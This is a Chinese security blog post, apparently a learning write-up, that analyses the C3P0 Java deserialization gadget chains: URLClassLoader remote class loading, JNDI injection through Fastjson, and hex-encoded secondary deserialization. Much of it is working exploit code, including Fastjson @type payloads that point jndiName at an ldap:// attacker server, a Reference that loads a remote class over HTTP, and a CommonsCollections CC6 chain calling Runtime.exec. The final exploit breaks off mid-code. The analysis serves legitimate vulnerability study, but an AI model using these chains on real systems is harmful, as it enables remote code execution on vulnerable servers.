您当前的位置: 首页 >  Java

合天网安实验室

暂无认证

  • 0浏览

    0关注

    748博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

Java 反序列化之 C3P0 链学习

合天网安实验室 发布时间:2022-10-10 17:34:25 ,浏览量:0

图片有点多,请耐心阅读哦

0x01 前言

再多打一点基础吧,后续打算先看一看 XStream,Weblogic,strusts2 这些个

0x02 C3P0 组件介绍

C3P0 是一个开源的 JDBC 连接池,它实现了数据源和 JNDI 绑定,支持 JDBC3 规范和 JDBC2 的标准扩展。目前使用它的开源项目有 Hibernate,Spring 等。

JDBC 是 Java DataBase Connectivity 的缩写,它是 Java 程序访问数据库的标准接口。

使用Java程序访问数据库时,Java 代码并不是直接通过 TCP 连接去访问数据库,而是通过 JDBC 接口来访问,而 JDBC 接口则通过 JDBC 驱动来实现真正对数据库的访问。

连接池类似于线程池,在一些情况下我们会频繁地操作数据库,此时Java在连接数据库时会频繁地创建或销毁句柄,增大资源的消耗。为了避免这样一种情况,我们可以提前创建好一些连接句柄,需要使用时直接使用句柄,不需要时可将其放回连接池中,准备下一次的使用。类似这样一种能够复用句柄的技术就是池技术。

  • • 简单来说,C3P0 属于 jdbc 的一部分,和 Druid 差不多

0x03 C3P0 反序列化漏洞 环境

jdk8u65

pom.xml 如下


    com.mchange
    c3p0
    0.9.5.2
C3P0 反序列化三条 Gadgets
  • • 在去复现链子之前,既然这是一个数据源的组件,那么大概率会存在的漏洞是 URLClassLoader 的类的动态加载,还有 Jndi 注入。

好叭看了其他师傅的文章才知道,C3P0 常见的利用方式有如下三种

  • • URLClassLoader 远程类加载

  • • JNDI 注入

  • • 利用 HEX 序列化字节加载器进行反序列化攻击(第一次见,应该是我少见多怪了

我们还是以漏洞发现者的角度来复现一遍,尝试着能否少看一些其他师傅的文章,较为独立的找到链子。

C3P0 之 URLClassLoader 的链子 C3P0 之 URLClassLoader 流程分析

我们先想一想,既然是 URLClassLoader 的链子,什么场景下会用到 URLClassLoader 的链子呢?

我的第一想法是,获取数据源很可能是通过 URLClassLoader 的,事实证明我的这种想法非常愚蠢,因为获取数据源并不是获取一个类。当然,最终也没找到,不过也是有点收获的。

后面又想到了,可能是 Ref 这种类型的类,于是我又回头找了一下,但是因为 IDEA 未能搜索依赖库内的内容,所以就寄了,直接看了其他师傅的文章。

找到的类是 ReferenceableUtils,当中的 referenceToObject() 方法调用了 URLClassLoader 加载类的方法

最后还有类的加载 ———— instance(),我们的链子尾部就找好了。

继续往上找,应该是去找谁调用了 ReferenceableUtils.referenceToObject()

4f1e40891b3e5722d4db9c5d3217b875.png

ReferenceIndirector 类的 getObject() 方法调用了 ReferenceableUtils.referenceToObject(),继续往上找

1b57938fbeb10e905ab0386722c15c31.png

PoolBackedDataSourceBase#readObject() 调用了 ReferenceIndirector#getObject(),同时这也正好是一个入口类。

总结链子流程图如图

21cc30738138a64ff53f34aef2678dd5.png C3P0 之 URLClassLoader EXP 编写

手写一遍 EXP 试试

先写 ReferenceableUtils.referenceToObject() 的 URLClassLoader 的 EXP。EXP 如下

public class RefToURLClassLoader {  
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, NamingException, InstantiationException {  
        Class clazz = Class.forName("com.mchange.v2.naming.ReferenceableUtils");  
        Reference reference = new Reference("Calc", "Calc","http://127.0.0.1:9999/");  
        Method method = clazz.getDeclaredMethod("referenceToObject", Reference.class, Name.class, Context.class, Hashtable.class);  
        method.setAccessible(true);  
        Object o = method.invoke(clazz, reference, null, null, null);  
        Object object = method.invoke(o, null, null, null, null);  
    }  
}

继续往前走,去看一下 PoolBackedDataSourceBase#readObject() 方法

这里的 readObject() 方法想要进到链子的下一步 getObject() 必须要满足一个条件,也就是传入的类必须要是 IndirectlySerialized 这个类。

在进行完这个判断之后

this.connectionPoolDataSource = (ConnectionPoolDataSource) o;

执行 .getObject() 方法的类从原本的 PoolBackedDataSourceBase 变成了 ConnectionPoolDataSource,但是 ConnectionPoolDataSource 是一个接口,并且没有继承 Serializable 接口,所以是无法直接用于代码里面的。

18cbe70087d0095b2c024e7b201f1308.png
  • • 这个地方有点卡住了,我们不妨去看一下 PoolBackedDataSourceBase#writeObject() 的时候,也就是序列化的时候做了什么

如图,直接包装了一层 indirector.indirectForm()

6f6e23a2cf49bdd3e6e76fd4a65998ff.png

我们跟进 indirector.indirectForm() 看一看,当然这个地方的 indirector 实际上就是 com.mchange.v2.naming.ReferenceIndirector,等价于下面这条代码

ReferenceIndirector.indirectForm()

经过 ReferenceIndirector.indirectForm() 的 “淬炼”,我们直接看返回值是什么

1b0aab3e1f8a8868afc2a33bb83558c8.png

这里返回的是 ReferenceSerialized 的一个构造函数,ReferenceSerialized 实际上是一个内部类

435d867f491b0712364b0ab0727fcb0b.png

跟进一下继承的接口

a552f6ab5e708736171219de33250d7c.png

发现它继承了 Serializable 接口,至此,包装的过程分析结束。现在我们拿到的 "ConnectionPoolDataSource" 外表上还是 "ConnectionPoolDataSource",但是实际上已经变成了 "ReferenceSerialized" 这个类;事后师傅们可以自行打断点调试,这样体会的更深刻一些。

EXP 的编写也较为简单,值得一提的是,这里面有一个 getReference() 方法可以直接 new 一个 Reference 对象。

通过反射修改 connectionPoolDataSource 属性值为我们的恶意 ConnectionPoolDataSource 类

fbd0d2b2d574b6a82f058c9ff29eedcc.png C3P0 之 JNDI 注入 误打误撞看到的一处伪 JNDI 注入,失败告终

虽然是误打误撞看到的,也是失败的,但是依然有价值。后面看了枫师傅(https://goodapple.top/)的博客,发现这里居然还是可以利用的,简直太强了。

  • • 其实是在寻找上一条 Gadget 的时候发现的

位置在这个地方 com.mchange.v2.naming.ReferenceIndirector

它的 getObject() 方法里面有 initialContext.lookup()

所以我尝试了一下发现几个问题,虽然是坑吧,但是这个坑我更愿意称之为尝试。

首先这里,我们如果要触发 JNDI 注入,那么肯定需要控制 contextName 这个属性值,结果好巧不巧,这个属性值是一个类

e9d8ededaba775aa4245faf9a1ecc020.png 09f21485f28db7bef784e6fc1fa8523e.png

既然是一个类,就不能直接赋给字符串对象,然后我尝试了它接口的实现类,发现不行,只能是自己这个接口;这利用面感觉太小太小了,很难挖;所以我这里就放弃了。

  • • 也挂一手失败的 EXP 吧

public class Test {  
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, NoSuchFieldException, IllegalAccessException, InstantiationException, InvocationTargetException, InvalidNameException {  
        Class clazz = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized");  
        Method method = clazz.getDeclaredMethod("getObject");  
        Field ContextField = clazz.getDeclaredField("contextName");  
        ContextField.setAccessible(true);  
        DnsName dnsName = new DnsName();  
        ContextField.set(dnsName,dnsName);  
        Object o = method.invoke(clazz);  
        method.invoke(o);  
    }  
}

挺有意思的一次尝试,哈哈哈哈。

C3P0 之 JNDI 注入流程分析

这条链子是基于 Fastjson 链子的,也就是说,是 Fastjson 的某一条链

我们还是以漏洞发现者的思维去寻找,在库中全局搜索 Jndi,看看是否有收获

ef856496c9cb7686f1050658ea0b4b5b.png

点开第一个试一下,接着在这个类当中找 jndi 关键词,看到了这个方法:dereference()

bf4c1fdd2d526342e355480581903655.png
  • • 在第 112 行与第 114 行,有非常惹人注目的 ctx.lookup()

这里被 lookup() 的变量是 jndiName,跟进去看一下 jndiName 是什么

e10ef6d33c89f0888692d28701702f99.png

jndiName 是由 this.getJndiName() 搞来的,跟进看一看 getJndiName() 方法

61ede47840dfdfb3fa83b18255c21a47.png

这个方法做了一件什么事呢?它判断了拿进来的 jndiName 是不是 Name 的类型,如果是就返回 ((Name) jndiName).clone(),若不是就返回 String;回想起我前文挖洞失败的那个经历,不就是因为传参是一个对象所以无法利用吗!

我这里的运气非常好,第一次找就找到了这个漏洞类

回到前面,我们看一下 dereference() 方法,是否允许我们传入一个 String 类型的参数

12bc2ef8180e77f987845dac761d4ad4.png

至此,链子的尾部已经是没问题的了,向上找可用的地方

d319a9e1259c87f26675c68dece10db5.png

同一个类下的 inner() 方法调用了它,继续往上找

21c0eecd4fad5ed801f3f438e53c5c87.png

这里有非常多的 getter/setter 方法,已经是满足作为 fastjson 调用链的条件了,但是对于选择上来说,我们选最简单的 setLoginTimeout() 方法,因为它的传参只需要我们传入一个整数即可。

我觉得这里已经可以写 EXP 了,但是看到有其他师傅的文章分析的意思是:还要继续向上找,可能是因为这个 JndiRefForwardingDataSource 类是 default 的类,觉得利用面还是不够大吧,我个人觉得从攻击的角度上来说是都可以的,后续在写 EXP 的环节也会把这个写进去。

  • • 如果要继续网上找的话,还有一个是可以利用的类

2d83183c6cf4bd40286524548449b29e.png

再向上找可能还是可以,还能利用,但已经完全没必要了。因为黑命单加的都是大类,如果简短的链子被 ban 了,再深的链子也是被 ban 的。

C3P0 之 JNDI EXP 构造

先导入 fastjson 的包,就先导 1.2.24 的吧,因为 1.2.25 版本的 fastjson 当中就已经把 com.mchange 包加入了黑名单里面。

  
    com.alibaba  
    fastjson  
    1.2.24  

JndiRefForwardingDataSource 的 EXP 如下

package JNDIVul;  
  
import com.alibaba.fastjson.JSON;  
  
// JndiRefForwardingDataSource 类的直接 EXP 调用  
public class JndiForwardingDataSourceEXP {  
    public static void main(String[] args) {  
        String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\"," +  
                "\"jndiName\":\"ldap://127.0.0.1:1230/remoteObject\",\"LoginTimeout\":\"1\"}";  
        JSON.parse(payload);  
    }  
}

因为是 default 作用域的类,所以不可以直接 new,这里我们直接用 fastjson 的方式去调

89b82d08f37b3d94256ccc1de00f596e.png

JndiRefConnectionPoolDataSource 的 EXP 也大同小异,因为这是个 public 为作用域的类,我们可以先通过这种方式测试一下链子的可用性。

public class JndiRefConnectionPoolDataSourceTest {  
    public static void main(String[] args) throws PropertyVetoException, SQLException {  
        JndiRefConnectionPoolDataSource jndiRefConnectionPoolDataSource = new JndiRefConnectionPoolDataSource();  
        jndiRefConnectionPoolDataSource.setJndiName("ldap://127.0.0.1:1230/remoteObject");  
        jndiRefConnectionPoolDataSource.setLoginTimeout(1);  
    }  
}
4a9061c7ad52e18a09b99810e4d0481e.png
  • • 用 fastjson 打也比较简单

public class JndiRefConnectionPoolDataSourceEXP {  
    public static void main(String[] args) {  
        String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," +  
                "\"jndiName\":\"ldap://127.0.0.1:1230/remoteObject\",\"LoginTimeout\":\"1\"}";  
        JSON.parse(payload);  
    }  
}

成功

392f86886dca06b4297158a661b912a8.png C3P0 之 hexbase 攻击利用
  • • 这个点因为之前从来没有接触到过,所以跟着其他师傅的文章学习一下,同时这一种利用方式也是二次反序列化的利用之一。

C3P0 之 hexbase 流程分析

这条链子能成立的根本原因是,有一个 WrapperConnectionPoolDataSource 类,它能够反序列化一串十六进制字符串

链子首部是在 WrapperConnectionPoolDataSource 类的构造函数中,如图

4953d96c1e121e54404c8e191ea61b8a.png

在给 userOverrides 赋值的时候,用的是 C3P0ImplUtils.parseUserOverridesAsString() 这么一个操作,这个方法的作用就是反序列化 userOverride 把它这个 String 类型的东西转为对象。跟进

dfe2a9b959000bce4d75eeb7f784c357.png

它这里把 hex 字符串读了进来,把转码后的结果保存到了 serBytes 这个字节流的数组中,这个字节流是拿去进行 SerializableUtils.fromByteArray() 的操作,值得注意的是,在解析过程中调用了 substring() 方法将字符串头部的 HASM_HEADER 截去了,因此我们在构造时需要在十六进制字符串头部加上 HASM_HEADER,并且会截去字符串最后一位,所以需要在结尾加上一个;

add0f009c208785f9f1ff64943486870.png

SerializableUtils#fromByteArray() 调用了 SerializableUtils#deserializeFromByteArray,跟进,看到了反序列化的操作 ———— readObject()

2e74d6020331a313931757be09832cf0.png C3P0 之 hexbase EXP 编写
  • • 因为我们在链子的第一步的时候,看到传入的参数是 this.getUserOverridesAsString(),所以用 Fastjson 的链子打会很简单。

这里我们需要写一个构造 hex 的 EXP,调用之前学 CC 链就可以

EXP 如下

package hexBase;  
  
import com.alibaba.fastjson.JSON;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  
import org.apache.commons.collections.map.LazyMap;  
  
import java.beans.PropertyVetoException;  
import java.io.ByteArrayOutputStream;  
import java.io.IOException;  
import java.io.ObjectOutputStream;  
import java.io.StringWriter;  
import java.lang.reflect.Field;  
import java.util.HashMap;  
import java.util.Map;  
  
public class HexBaseFastjsonEXP {  
  
    //CC6的利用链  
 public static Map CC6() throws NoSuchFieldException, IllegalAccessException {  
        //使用InvokeTransformer包装一下  
 Transformer[] transformers = new Transformer[]{  
                new ConstantTransformer(Runtime.class),  
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})  
        };  
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
        HashMap hashMap = new HashMap();  
        Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("five")); // 防止在反序列化前弹计算器  
 TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");  
        HashMap expMap = new HashMap();  
        expMap.put(tiedMapEntry, "value");  
        lazyMap.remove("key");  
  
        // 在 put 之后通过反射修改值  
 Class lazyMapClass = LazyMap.class;  
        Field factoryField = lazyMapClass.getDeclaredField("factory");  
        factoryField.setAccessible(true);  
        factoryField.set(lazyMap, chainedTransformer);  
  
        return expMap;  
    }  
  
  
    static void addHexAscii(byte b, StringWriter sw)  
    {  
        int ub = b & 0xff;  
        int h1 = ub / 16;  
        int h2 = ub % 16;  
        sw.write(toHexDigit(h1));  
        sw.write(toHexDigit(h2));  
    }  
  
    private static char toHexDigit(int h)  
    {  
        char out;  
        if (h             
关注
打赏
1665306545
查看更多评论
0.0514s